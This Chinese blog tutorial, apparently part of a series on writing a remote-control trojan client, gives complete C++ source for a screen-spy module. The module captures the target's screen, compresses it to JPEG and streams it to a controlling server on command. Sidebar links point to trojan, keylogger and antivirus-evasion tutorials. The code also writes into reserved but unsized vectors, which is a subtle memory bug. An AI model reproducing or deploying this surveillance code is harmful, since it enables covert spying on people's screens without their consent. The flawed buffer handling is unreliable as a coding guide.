从零开始做远控 第五篇 屏幕监控

最新推荐文章于 2021-04-13 09:35:32 发布
最新推荐文章于 2021-04-13 09:35:32 发布
阅读量5.4k 收藏 9
点赞数 5
分类专栏： 远控 文章标签： 网络安全 远控 远程控制 c++ Qt
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/sumkee911/article/details/53786388
版权
本文介绍了一个远程屏幕监控系统的实现过程，包括客户端屏幕抓取、JPEG压缩及数据传输至服务端等关键技术点。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

如果你从没看过这系列教程请点击：从零开始做远控 简介篇

屏幕监控:

我们来到进阶课程了，我们这一节主要是讲客户端的，我们将会编写从客户端截取屏幕，然后用JEPG压缩它，最后发给服务端，形成一个动态画面。
1.首先我们要下载个: jpeg压缩库，然后把它放到ZeroClient的目录，最后在.pro文件路加入库文件：LIBS += $${PWD}\jpeg\libjpeg.lib
2.在.pro文件路加入库文件：LIBS += -lgdi32，来使用win32图形库

ScreenSpy类:
1.新建一个ScreenSpy类，主要是用来创建新线程，连接至服务端，然后向服务端实时发送自己的屏幕截图。
2.截图函数captureScreen()。 
bool ScreenSpy::captureScreen(std::vector<unsigned char> &bmpData)
{
    // 锁定函数，其他线程不能进来
    EnterCriticalSection(&gCs);


    HBITMAP hBitmap;


    // 得到屏幕设备
    HDC hScrDC = CreateDCA(_T("DISPLAY"),NULL,NULL,NULL);
    if(!hScrDC) {
        std::cout << "Failed to get screen device" << std::endl;
        std::fflush(stdout);


        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }


    // 创建新的设备
    HDC hRamDC = CreateCompatibleDC(hScrDC);
    if(!hRamDC) {
        std::cout << "Failed to create device" << std::endl;
        std::fflush(stdout);


        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }


    // 设置图片大小
    unsigned int iByte = 3;
    unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN);
    unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN);
    unsigned int iBmpSize = iWidth * iHeigth * iByte;
    if(iWidth == 1366) {
        iWidth = 1360;
    }


    // 创建位图
    BITMAPINFOHEADER bmpInfoHeader;
    BITMAPINFO bmpInfo;
    void *p;


    bmpInfoHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmpInfoHeader.biBitCount = 32;
    bmpInfoHeader.biPlanes = 1;
    bmpInfoHeader.biCompression = BI_RGB;
    bmpInfoHeader.biWidth = iWidth;
    bmpInfoHeader.biHeight = iHeigth;
    bmpInfo.bmiHeader = bmpInfoHeader;


    // 获取位图
    hBitmap = CreateDIBSection(hScrDC,&bmpInfo,DIB_RGB_COLORS,&p,NULL,0);
    if(!hBitmap) {
        std::cout << "Failed to CreateDIBSection" << std::endl;
        std::fflush(stdout);


        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }


    // 绑定设备与对象
    HBITMAP hBitmapOld;
    hBitmapOld = (HBITMAP)SelectObject(hRamDC,hBitmap);


    // 把屏幕复制到新申请的设备上
    StretchBlt(hRamDC,0,0,iWidth,iHeigth,hScrDC,0,0,iWidth,iHeigth,SRCCOPY);


    // 复制图片到内存空间
    bmpData.reserve(iBmpSize);
    HDC hTmpDC = GetDC(NULL);
    hBitmap = (HBITMAP)SelectObject(hRamDC,hBitmapOld);


    bmpInfoHeader.biBitCount = 24;
    int iError = GetDIBits(hTmpDC,hBitmap,0,iHeigth,bmpData.data(),(BITMAPINFO *)&bmpInfoHeader,DIB_RGB_COLORS);
    if(!iError) {
        std::cout << "Failed to GetDIBits" << std::endl;
        std::fflush(stdout);


        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }


    // 释放设备与对象
    DeleteDC(hScrDC);
    DeleteDC(hRamDC);
    DeleteObject(hBitmapOld);
    DeleteDC(hTmpDC);
    DeleteObject(hBitmap);


    // 解除函数锁定
    LeaveCriticalSection(&gCs);
    return true;
}


3.压缩函数convertToJpgData()。 
bool ScreenSpy::convertToJpgData(const std::vector<unsigned char> &bmpData,
                                 std::vector<unsigned char> &jpgData)
{
    // 锁定函数，其他线程不能进来
    EnterCriticalSection(&gCs);


    // 设置图片大小
    unsigned int iByte = 3;
    unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN);
    unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN);
    unsigned int iBmpSize = iWidth * iHeigth * iByte;
    if(iWidth == 1366) {
        iWidth = 1360;
    }


    //  由於bitmap和jpg的儲存方式是相反,所以要把他反過來
    //  例如: rgb: 1 2 3  ->  9 8 7
    //            4 5 6  ->  6 5 4
    //            7 8 9  ->  3 2 1
    const unsigned char *bmp = bmpData.data();
    std::vector<unsigned char> convertedBmp;
    convertedBmp.reserve(iBmpSize);
    unsigned char *cBmp = (unsigned char*)convertedBmp.data();


    for(unsigned int i = 0,j;i < iHeigth;i ++) {
        for(j = 0;j < iWidth;j ++) {
            cBmp[i * iWidth *  iByte + j * 3] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 2];
            cBmp[i * iWidth *  iByte + j * 3 + 1] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 1];
            cBmp[i * iWidth *  iByte + j * 3 + 2] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte];
        }
    }


    // 设置jpg结构
    struct jpeg_compress_struct jcs;
    struct jpeg_error_mgr jem;


    jcs.err = jpeg_std_error(&jem);
    jpeg_create_compress(&jcs);


    // 设置输出配置
    jcs.image_height = iHeigth;
    jcs.image_width = iWidth;
    jcs.input_components = iByte;
    jcs.in_color_space = JCS_RGB;


    jpeg_set_defaults(&jcs);


    // 设置压缩质量
    const int quality = 30;     // 越大越好，越小越差，你可以自己设置
    jpeg_set_quality(&jcs, quality, TRUE);


    // 设置输出文件（临时文件来的，名字随便设置）
    const std::string fileName= "zero_client_screen_capture.tmp";
    FILE *fp = fopen(fileName.data(),"wb+");
    if (!fp) {
        std::cout << "Failed to create file " << fileName << " error:"
                  << ferror(fp) <<std::endl;
        std::fflush(stdout);


        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }


    jpeg_stdio_dest(&jcs,fp);


    // 开始压缩
    jpeg_start_compress(&jcs,TRUE);
    JSAMPROW jr;
    while(jcs.next_scanline < iHeigth) {
        jr = &cBmp[jcs.next_scanline * iWidth * iByte];
        jpeg_write_scanlines(&jcs,&jr,1);
    }


    // 释放
    jpeg_finish_compress(&jcs);
    jpeg_destroy_compress(&jcs);
    fclose(fp);


    // 读取压缩好的数据
    FILE *fpIn = fopen(fileName.data(),"rb");
    if(!fpIn) {
        std::cout << "Failed to read file " << fileName << " error:"
                  << ferror(fp) <<std::endl;
        std::fflush(stdout);


        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }


    // 获取jpg文件大小
    fseek(fpIn,0,SEEK_END);
    size_t iLen = ftell(fpIn);
    rewind(fpIn);


    // 读取
    jpgData.reserve(iLen);
    fread(jpgData.data(), iLen , 1 ,fpIn);


    // 释放
    fclose(fpIn);


    // 删除临时文件
    DeleteFileA(fileName.data());


    // 解除函数锁定
    LeaveCriticalSection(&gCs);
    return true;
}


4.定义通讯协议
// 数据头 
typedef struct {
    unsigned int len;    // jpg文件大小
} ScreenSpyHead;


代码:
ScreenSpy.h 
/*
 *
 *  Author: sumkee911@gmail.com
 *  Date: 21-12-2016
 *  Brief: 从客户端截取屏幕，然后用JEPG压缩它，最后发给服务端，形成一个动态画面。
 *
 */
#ifndef SCREENSPY_H
#define SCREENSPY_H
#include "tcpsocket.h"
#include <windows.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <tchar.h>
// 加入jpeg压缩库头文件
extern "C" {
#include "jpeg/jpeglib.h"
#include "jpeg/jmorecfg.h"
#include "jpeg/jconfig.h"
}
class ScreenSpy
{
public:
    ScreenSpy();
    ~ScreenSpy();
    // 屏幕处理函数
    static bool captureScreen(std::vector<unsigned char> &bmpData);
    static unsigned int convertToJpgData(const std::vector<unsigned char> &bmpData,
                                 std::vector<unsigned char> &jpgData);
    // 数据头
    typedef struct {
        unsigned int len;    // jpg文件大小
    } ScreenSpyHeader;
    // 这个类的入口函数，是从另一个线程开启。
    static void startByNewThread(std::string domain, int port);
    static DWORD WINAPI threadProc(LPVOID args);
    // 连接到服务端指定的端口给它发送屏幕截图
    static void startScreenSpy(std::string domain, int port);
    static bool sendScreenData(TcpSocket *sock, std::vector<unsigned char> &jpg, unsigned int len);
};
#endif // SCREENSPY_H


ScreenSpy.cpp

#include "screenspy.h"

// 互挤体，用来确保线程安全
static CRITICAL_SECTION gCs;
// 初始化类
static ScreenSpy spy;

ScreenSpy::ScreenSpy()
{
    // 初始化互挤体
    InitializeCriticalSection(&gCs);
}

ScreenSpy::~ScreenSpy()
{
    // 删除互挤体
    DeleteCriticalSection(&gCs);
}

bool ScreenSpy::captureScreen(std::vector<unsigned char> &bmpData)
{
    // 锁定函数，其他线程不能进来
    EnterCriticalSection(&gCs);

    HBITMAP hBitmap;

    // 得到屏幕设备
    HDC hScrDC = CreateDCA(_T("DISPLAY"),NULL,NULL,NULL);
    if(!hScrDC) {
        std::cout << "Failed to get screen device" << std::endl;
        std::fflush(stdout);

        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }

    // 创建新的设备
    HDC hRamDC = CreateCompatibleDC(hScrDC);
    if(!hRamDC) {
        std::cout << "Failed to create device" << std::endl;
        std::fflush(stdout);

        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }

    // 设置图片大小
    unsigned int iByte = 3;
    unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN);
    unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN);
    unsigned int iBmpSize = iWidth * iHeigth * iByte;
    if(iWidth == 1366) {
        iWidth = 1360;
    }

    // 创建位图
    BITMAPINFOHEADER bmpInfoHeader;
    BITMAPINFO bmpInfo;
    void *p;

    bmpInfoHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmpInfoHeader.biBitCount = 32;
    bmpInfoHeader.biPlanes = 1;
    bmpInfoHeader.biCompression = BI_RGB;
    bmpInfoHeader.biWidth = iWidth;
    bmpInfoHeader.biHeight = iHeigth;
    bmpInfo.bmiHeader = bmpInfoHeader;

    // 获取位图
    hBitmap = CreateDIBSection(hScrDC,&bmpInfo,DIB_RGB_COLORS,&p,NULL,0);
    if(!hBitmap) {
        std::cout << "Failed to CreateDIBSection" << std::endl;
        std::fflush(stdout);

        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }

    // 绑定设备与对象
    HBITMAP hBitmapOld;
    hBitmapOld = (HBITMAP)SelectObject(hRamDC,hBitmap);

    // 把屏幕复制到新申请的设备上
    StretchBlt(hRamDC,0,0,iWidth,iHeigth,hScrDC,0,0,iWidth,iHeigth,SRCCOPY);

    // 复制图片到内存空间
    bmpData.reserve(iBmpSize);
    HDC hTmpDC = GetDC(NULL);
    hBitmap = (HBITMAP)SelectObject(hRamDC,hBitmapOld);

    bmpInfoHeader.biBitCount = 24;
    int iError = GetDIBits(hTmpDC,hBitmap,0,iHeigth,bmpData.data(),(BITMAPINFO *)&bmpInfoHeader,DIB_RGB_COLORS);
    if(!iError) {
        std::cout << "Failed to GetDIBits" << std::endl;
        std::fflush(stdout);

        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }

    // 释放设备与对象
    DeleteDC(hScrDC);
    DeleteDC(hRamDC);
    DeleteObject(hBitmapOld);
    DeleteDC(hTmpDC);
    DeleteObject(hBitmap);

    // 解除函数锁定
    LeaveCriticalSection(&gCs);
    return true;
}

unsigned int  ScreenSpy::convertToJpgData(const std::vector<unsigned char> &bmpData,
                                 std::vector<unsigned char> &jpgData)
{
    // 锁定函数，其他线程不能进来
    EnterCriticalSection(&gCs);

    // 设置图片大小
    unsigned int iByte = 3;
    unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN);
    unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN);
    unsigned int iBmpSize = iWidth * iHeigth * iByte;
    if(iWidth == 1366) {
        iWidth = 1360;
    }

    //  由於bitmap和jpg的儲存方式是相反,所以要把他反過來
    //  例如: rgb: 1 2 3  ->  9 8 7
    //            4 5 6  ->  6 5 4
    //            7 8 9  ->  3 2 1
    const unsigned char *bmp = bmpData.data();
    std::vector<unsigned char> convertedBmp;
    convertedBmp.reserve(iBmpSize);
    unsigned char *cBmp = (unsigned char*)convertedBmp.data();

    for(unsigned int i = 0,j;i < iHeigth;i ++) {
        for(j = 0;j < iWidth;j ++) {
            cBmp[i * iWidth *  iByte + j * 3] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 2];
            cBmp[i * iWidth *  iByte + j * 3 + 1] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 1];
            cBmp[i * iWidth *  iByte + j * 3 + 2] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte];
        }
    }

    // 设置jpg结构
    struct jpeg_compress_struct jcs;
    struct jpeg_error_mgr jem;

    jcs.err = jpeg_std_error(&jem);
    jpeg_create_compress(&jcs);

    // 设置输出配置
    jcs.image_height = iHeigth;
    jcs.image_width = iWidth;
    jcs.input_components = iByte;
    jcs.in_color_space = JCS_RGB;

    jpeg_set_defaults(&jcs);

    // 设置压缩质量
    const int quality = 30;     // 越大越好，越小越差，你可以自己设置
    jpeg_set_quality(&jcs, quality, TRUE);

    // 设置输出文件（临时文件来的，名字随便设置）
    const std::string fileName= "zero_client_screen_capture.tmp";
    FILE *fp = fopen(fileName.data(),"wb+");
    if (!fp) {
        std::cout << "Failed to create file " << fileName << " error:"
                  << ferror(fp) <<std::endl;
        std::fflush(stdout);

        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return 0;
    }

    jpeg_stdio_dest(&jcs,fp);

    // 开始压缩
    jpeg_start_compress(&jcs,TRUE);
    JSAMPROW jr;
    while(jcs.next_scanline < iHeigth) {
        jr = &cBmp[jcs.next_scanline * iWidth * iByte];
        jpeg_write_scanlines(&jcs,&jr,1);
    }

    // 释放
    jpeg_finish_compress(&jcs);
    jpeg_destroy_compress(&jcs);
    fclose(fp);

    // 读取压缩好的数据
    FILE *fpIn = fopen(fileName.data(),"rb+");
    if(!fpIn) {
        std::cout << "Failed to read file " << fileName << " error:"
                  << ferror(fp) <<std::endl;
        std::fflush(stdout);

        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return 0;
    }

    // 获取jpg文件大小
    fseek(fpIn,0,SEEK_END);
    size_t iLen = ftell(fpIn);
    rewind(fpIn);

    // 读取
    jpgData.reserve(iLen);
    fread((unsigned char*)jpgData.data() , 1 , iLen ,fpIn);

    // 释放
    fclose(fpIn);

    // 删除临时文件
    DeleteFileA(fileName.data());

    // 解除函数锁定
    LeaveCriticalSection(&gCs);
    return iLen;
}

void ScreenSpy::startByNewThread(std::string domain, int port)
{
    // 将域名和端口数据转换成一个字符指针类型
    char *args = new char[MAX_PATH+sizeof(int)];
    domain.reserve(MAX_PATH);
    memcpy(args,domain.data(), MAX_PATH);
    memcpy(args+MAX_PATH,(char*)&port, sizeof(int));

    // 创建新线程
    HANDLE h = CreateThread(NULL,0,ScreenSpy::threadProc,(LPVOID)args,0,NULL);
    if (!h) {
        std::cout << "Failed to create new thread" << std::endl;
        std::fflush(stdout);
    }
}

DWORD WINAPI ScreenSpy::threadProc(LPVOID args)
{
    char domain[MAX_PATH];
    memcpy(domain, args, MAX_PATH);
    int port = *((int*)((char*)args+MAX_PATH));
    startScreenSpy(domain, port);

    // 释放参数
    delete (char *)args;
    return 0;
}

void ScreenSpy::startScreenSpy(std::string domain, int port)
{
    // 创建socket并连接至服务端
    TcpSocket sock;
    if (!sock.connectTo(domain, port)) {
        std::cout << "Failed to connect screen spy server " <<
                     domain << ":" << port << std::endl;
        std::fflush(stdout);
        return;
    }

    // 开始监控消息
    std::cout << "Started screen spy" << std::endl;
    std::fflush(stdout);

    // 开始传送数据
    const int fps = 5;  // 每秒帧度，你能自己设置
    do {
        Sleep(1000/fps);

        // 截取屏幕，再把它转换成jpg格式
        std::vector<unsigned char> bmp, jpg;

        if (!captureScreen(bmp)) {
            sock.dissconnect();
            break;
        }

        unsigned int len = 0;
        if ((len = convertToJpgData(bmp, jpg)) == 0) {
            sock.dissconnect();
            break;
        }

        // 发送数据
        if (!sendScreenData(&sock, jpg, len)) {
            break;
        }
    } while (1);

    // 完成
    std::cout << "Finished screen spy" << std::endl;
    std::fflush(stdout);
}

bool ScreenSpy::sendScreenData(TcpSocket *sock, std::vector<unsigned char> &jpg,unsigned int len)
{
    // 发送头包
    ScreenSpyHeader header;
    header.len = len;
    if (!sock->sendData((char*)&header, sizeof(ScreenSpyHeader))) {
        return false;
    }

    // 发送jpg数据包，包大小每次最好少于1000，我这里定义800
    const unsigned int paketLen = 800;
    char *data = (char *)jpg.data();
    unsigned int pos = 0;

    while (pos < len) {
        int sendSize = (pos+paketLen) > len ? len-pos : paketLen;

        if (!sock->sendData(data+pos, sendSize)) {
            return false;
        }

        pos += sendSize;
    }

    return true;
}


5.最后在ZeroClient类里修改doScreenSpy函数来响应屏幕监控命令 
void ZeroClient::doScreenSpy(std::map<std::string, std::string> &args)
{
    // 开始监控屏幕
    ScreenSpy::startByNewThread(mSock.mIp, atoi(args["PORT"].data()));
}


本节完整代码:
对上节作出的修改：
1.把ZeroClient项目里TcpSocket类里的私有变量mIp,mPort移动到了公有变量


下载完整代码
从零开始,学习远控软件编写
12-15
手把手教你，从零开始，学习远程控制软件的编写。你值得拥有！！！
屏幕监控软件
02-01
只有程序，没有源代码，能进行局域网屏幕监控，可设置画面质量，自动记录历史监控IP，启动服务端后，监控再开启连接服务端即可。
VC++实现对远程计算机屏幕的监视
小发猫
06-23 2869
摘要：本文介绍了一种通过套接字网络编程和屏幕捕获技术实现的对远程计算机屏幕进行监视的方法。　　关键词：套接字；屏幕捕捉；远程监视；网络 　　前言　　在实际工程中，经常有施工现场和控制中心不在一起的情况，在这种情况一般多由工程技术人员往返穿梭其间来实现对远程施工现场的情况了解和对控制中心的矫正控制。显然这种工作方式的效率是很低下的，没有充分发挥计算机网络的强大优势，其实通过网络编程完全可以使技术人员
***防线VC++远控编写课程
weixin_34034670的博客
11-30 207
注: 学习本套课程,造成的一切违法行为与本站( 286合购 ) 以及课程讲师 无关,一律后果自负! 算号方法: 请将你的机器码发送到 hack_45@163.com ( 不要重复发送 ) 我们会在24小时内帮你算号并回复邮件! 远程控制软件编程之界面设计(前10课官方免key版)下载地址1: http://d.namipan.com/d/59507f0ce0fe3d803...
VC++ 远程控制 屏幕监控 (传说中的木马)
djimon的专栏
01-10 5780
传说中的木马 自已做出来 真的很爽快的感觉 一直都很疑惑，怎么可以控制其它人的机器，这吓好了，SOCKET加屏幕截图功能实际远程控制 ////.h #pragma once #include #pragma comment(lib,"ws2_32.lib") class SDKWind { public: //struct struct SKey{ int typ
远控免杀从入门到实践(3)-代码篇-C/C++
weixin_46236101的博客
03-13 2261
郑重声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！ 《远控免杀从入门到实践》系列文章目录： 1、远控免杀从入门到实践 (1)基础篇 2、远控免杀从入门到实践 (2)工具总结篇 3、远控免杀从入门到实践 (3)代码篇-C/C++ 4、远控免杀从入门到实践 (4)代码篇-C# 5、远控免杀从入门到实践 (5)代码篇-Python 6、远控免杀从入门到实践 (6)代码篇-Powershell 7、远控免杀从入门到实.
第五篇：实现零基础远程控制的屏幕监控教程
描述“从零开始做远控教程（远程控制） 第五篇 屏幕监控”则具体说明了这篇教程的内容是关于远程控制的基础知识和屏幕监控的实现方法。从零开始意味着教程会覆盖从基础知识到实践操作的全面内容，适合初学者入门学习...
zero远控_05
12-21
【零远控_05】教程是关于远程控制技术的一个系列教程中的第五部分，主要聚焦在屏幕监控这一关键环节。远程控制技术允许用户通过网络在另一台设备上进行操作，通常用于技术支持、系统管理或者远程办公等场景。在这个...
键盘监控远程控制入门教程（第八篇）
描述中提到“从零开始做远控教程”，意味着本教程面向初学者，帮助他们从基础开始掌握远程控制技术。描述中的“键盘监控”是指远程控制系统中的一项功能，它能够记录并监控目标计算机上的键盘活动，包括按键输入、...
Zero-远控--08
12-22
【描述】"从零开始做远控教程（远程控制） 第八篇 键盘监控"揭示了这个教程的目标是帮助初学者理解并构建远程控制软件。键盘监控是远程控制中的一个重要组成部分，因为它可以让远程操作者看到用户在被控制设备上按键...
C/C++经典项目开发：C++打造远程桌面监控系统监控.txt
07-13
本视频为C/C++编程经典项目之C++远程桌面监控系统。主要利用C语言知识以及C++编程知识以及少量算法、数据结构的知识来制作，本视频并不建议完全零基础的小伙伴下载学习，因为其中的语法知识或者代码名词可能会对于零基础小伙伴有学习不便的影响；本系列部分视频未全部讲完，其余部分希望大家自己动手完成，以便自己更好的成长！最后，祝各位学习愉快！
ScreenSpy[国外的屏幕传输]
11-26
这是一个 国外的 国外的屏幕传输 delphi代码...
屏幕监控+远程控制+mfc+vc.rar
09-06
vc6.0 MFC开发 屏幕监控+远程控制 支持鼠标键盘多种消息的操作 功能强大
socket应用（二） 用C语言写远程屏幕监视程序 源代码
02-15
使用C语言写远程屏幕监视程序，此处为关键代码，具体参考博文.
c++语言opencv加socket实现远程桌面监控
12-26
这是两个个c++语言编写的vs2013的工程，内包含服务端和客户端。直接可以编译运行。
C# Winfrom远程控制(一)
qq_15002095的博客
05-11 2059
第一次写博客，如有考虑不周之处望谅解，好吧，进入正题 远控肯定少不了即时通讯，我用C#的websocket进行控制端和客户端进行交互,服务器用PHP的workman对消息进行消息转发，其实可以不用这个服务器进行消息转发，直接控制端和客户端连接也可以，考虑到后面方便多控制端多客户端，群组等相关信息，还是放到服务器好处理一些 声明一些公共变量，在客户端和控制端启动的时候，就会调用startAsync方法，该方法会循环判断isConnected 是否为true，false会一直重复...
检测是否使用线连，监控屏幕数量
kyunsoo的博客
08-06 328
constshell=require('node-powershell'); letps=newshell({ executionPolicy:'Bypass', noProfile:true }); //Togetnumberofscreenattacheduncommentthebelowline ps.addCommand('(Get-CimInstance-Namespaceroot\\wmi-ClassNameWmiMo...
远程控制系类-杨波-专题视频课程
DoeduMark的博客
04-01 267
随着网络的高度发展，电脑的管理及技术支持的需要，远程操作及控制技术越来越引起人们的关注。 将客户端程序安装到主控端的电脑上，将服务器端程序安装到被控端的电脑上。使用时客户端程序向被控端电脑中的服务器端程序发出信号，建立一个特殊的远程服务，然后通过这个远程服务，使用各种远程控制功能发送远程控制命令，控制被控端电脑中的各种应用程序运行。...
Windows核心编程调用打印机
17岁boy的博客
04-13 2414
这是我在工作中实现的代码，可以获取默认打印机并打印： 失败返回1，成功返回0 这个函数是用来调用默认打印机的，其实原理很简单就是用GetProfileStringA获取win.ini里的配置信息，得到默认打印机的名字 然后调用CreateDCA、StartDoc、StartPage、TextOutA、EndPage、EndDoc打印机全家桶API函数开始打印 CreateDCA函数是创建一个DC绘图环境，为打印创建一个绘图环境 StartDoc 开始绘图 StartPage 通知打印机开启一个打
评论 6
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值